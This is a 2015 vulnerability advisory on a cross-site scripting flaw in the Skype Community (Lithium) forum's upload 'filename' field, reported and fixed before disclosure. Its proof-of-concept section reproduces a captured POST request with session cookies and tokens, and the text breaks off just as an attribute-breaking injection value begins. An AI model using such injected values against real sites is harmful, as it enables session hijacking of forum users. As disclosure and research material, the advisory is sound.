Document Title: =============== Lithium Forum - Client Side POST Inject Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1519 Release Date: ============= 2015-12-22 Vulnerability Laboratory ID (VL-ID): ==================================== 1519 Common Vulnerability Scoring System: ==================================== 3.7 Product & Service Introduction: =============================== Skype is a proprietary voice-over-Internet Protocol service and software application originally created in 2003 by Swedish entrepreneur Niklas Zennström and his Danish partner Janus Friis. It has been owned by Microsoft since 2011. The service allows users to communicate with peers by voice, video, and instant messaging over the Internet. Phone calls may be placed to recipients on the traditional telephone networks. Calls to other users within the Skype service are free of charge, while calls to landline telephones and mobile phones are charged via a debit-based user account system. Skype has also become popular for its additional features, including file transfer, and videoconferencing. Competitors include SIP and H.323-based services, such as Linphone, as well as the Google Talk service, Mumble and Hall.com. Skype has 663 million registered users as of September 2011. The network is operated by Microsoft, which has its Skype division headquarters in Luxembourg. Most of the development team and 44% of the overall employees of the division are situated in Tallinn and Tartu, Estonia. Unlike most other VoIP services, Skype is a hybrid peer-to-peer and client–server system. It makes use of background processing on computers running Skype software. Skype`s original proposed name (Sky Peer-to-Peer) reflects this fact. Some network administrators have banned Skype on corporate, government, home, and education networks, citing reasons such as inappropriate usage of resources, excessive bandwidth usage, and security concerns. (Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side POST inject web vulnerability in the official Microsoft Skype Community online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-06-10: Researcher Notification & Coordination (Hadji Samir - Evolution Security) 2015-06-12: Vendor Notification 1 (Security Team) 2015-**-**: Vendor Response/Feedback (Security Team) 2015-11-30: Vendor Fix/Patch (Developer Team) 2015-12-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ A client-side cross site scripting web vulnerability has been discovered in the official Microsoft Skype Community online service web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise session data/information. The security vulnerability is located in the `filename` value of the `Skype Community - t5/forums/postpage.messageeditorform.form.form.form` module. Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side script code that compromises the skype community forum user/admin session data. The execution of the script code occurs in the exception-handling of the upload POST method request. The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is POST. Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7. Exploitation of the non-persistent cross site scripting web vulnerability requires a low privilege web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] POST Vulnerable Module(s): [+] Skype Community > t5/forums/ Vulnerable File(s): [+] t5/forums/postpage.messageeditorform.form.form.form Vulnerable Parameter(s): [+] filename Proof of Concept (PoC): ======================= The client-side cross site scripting exception web vulnerability can be exploited by remote attackers with low privilege web-application user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exception handling - Lithium Forum (Skype Community)
--- PoC Session Logs [POST] --- Status: 302[Found] POST http://community.skype.com/t5/forums/postpage.messageeditorform.form.form.form Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[0] Mime Type[application/x-unknown-content-type] Request Headers: Host[community.skype.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Referer[http://community.skype.com/t5/forums/postpage/board-id/Translations] Cookie[s_pers=%20s_fid%3D7EADA82B25D3A7FE-22BADDF02FFE01AA%7C1497227269918%3B%20gpv_p23%3Dskypeloginweb%252Faccount%252Flogin_simplified%7C1434070669927%3B%20s_nr%3D1434068869930-New%7C1497140869930%3B; s_vi=[CS]v1|2A928C6305013CDB-400001382002F848[CE]; mbox=PC#1432859941701-111791.21_17#1441809665|check#true#1434033725|session#1434033624289-491084#1434035525; MSFPC=ID=062a86ae8adbf044abf02f8708319e16&CS=3&LV=201505&V=1; skype-cookie-policy=1; __CT_Data=gpv=8&apv_22_www11=8; WRUID=0; tracking=1434066476905; LithiumVisitor=~2DnruWrh4zSyqDVNA~S0FDSAeLLXNQyv0LgPfS9o8gMCZ3senMywpX_sC4UwFikHehjm8U36pL1fZCwO8eBYk9-nOUeHTeBLnBFc1GjA..; VISITOR_BEACON=~2aphhH89BL1W7xf7Z~BE1YzkXD5ndxpLhY4Z2bhqwTa1-Tkq0Eo22Ev9ddHp4EVfp-37vFXnbCv1PHXjc5q9aISMdRK_3MyqKXFuGfKw..; SC=CC=:CCY=:ENV=:LC=en:LIM=:RS=d:TM=1434068870:TS=1434068870:TZ=:UCP=:VAT=:VER=; s_fid=68392C6301561E0C-0629E4B49FBC4542; gpv_p23=support%2Fforum%2Ft5%2Fforums%2Fpostpage%2Fboard-id%2FTranslations; s_nr=1434070798741-New; LiSESSIONID=6859188E4B50DDB80D41B1EABB669A41; s_cc=true; s_ria=flash%2011%7C; s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: POST_DATA[-----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="t:ac" board-id/Translations -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="liaFormContentKey" PostPage:board-id/Translations:messageeditorform.form.form: -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="t:formdata" rPBMQ5753M6ha7eiSCGUSDWmAZo=:H4sIAAAAAAAAAN1YT2wVRRifViuFF6TFYDXGhEMlNKS7fbwWEWyaWqmA/ScvkHCRzO7Oe2/o7s4yM/v2NUYTEqImetRwM5pwEzzKjRg5mF68QLyKxisJAaMHMXFmZ1/7alvpzm 4bX99h9+038/2+f7+Z+Xav3wddkQkGK4SGH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ADZooWY02cMHAJXCL1M+oxM15elO3KSjcJonb8I6KGHTkWcVdTcGHof1fGbvUoPNsuhZQYA23ROilP26EB6pGHjc+Td+0zqJJDF/Rm+n56tRvbsKHWYkVR/5PwNvyQPKxla1jZ2tDuE1/UC/zaHwv2rPhYILbXbLCKvjoBpS7vZqah2D5pyLKi/gGUanyqkRsAAA== -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="lia-action-token" JI23tj8UIO7nM2i7fsBN0c0nk6iT6Ws1OY2SjC2EQiE. -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="form_UID" form -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="form_instance_key" -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="subject" sdfsdf -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="submitContextX" Preview -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="tinyMceEditor"sdfsdf sdffds dsfsdf
-----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="mediaSnippetUrl" -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="existingAttachmentsField" [] -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="previewAttachmentsField" [] -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="compareAttachmentsField" [] -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="checkbox" on -----------------------------102110556414691098141506762642 Content-Disposition: form-data; name="upload"; filename="\">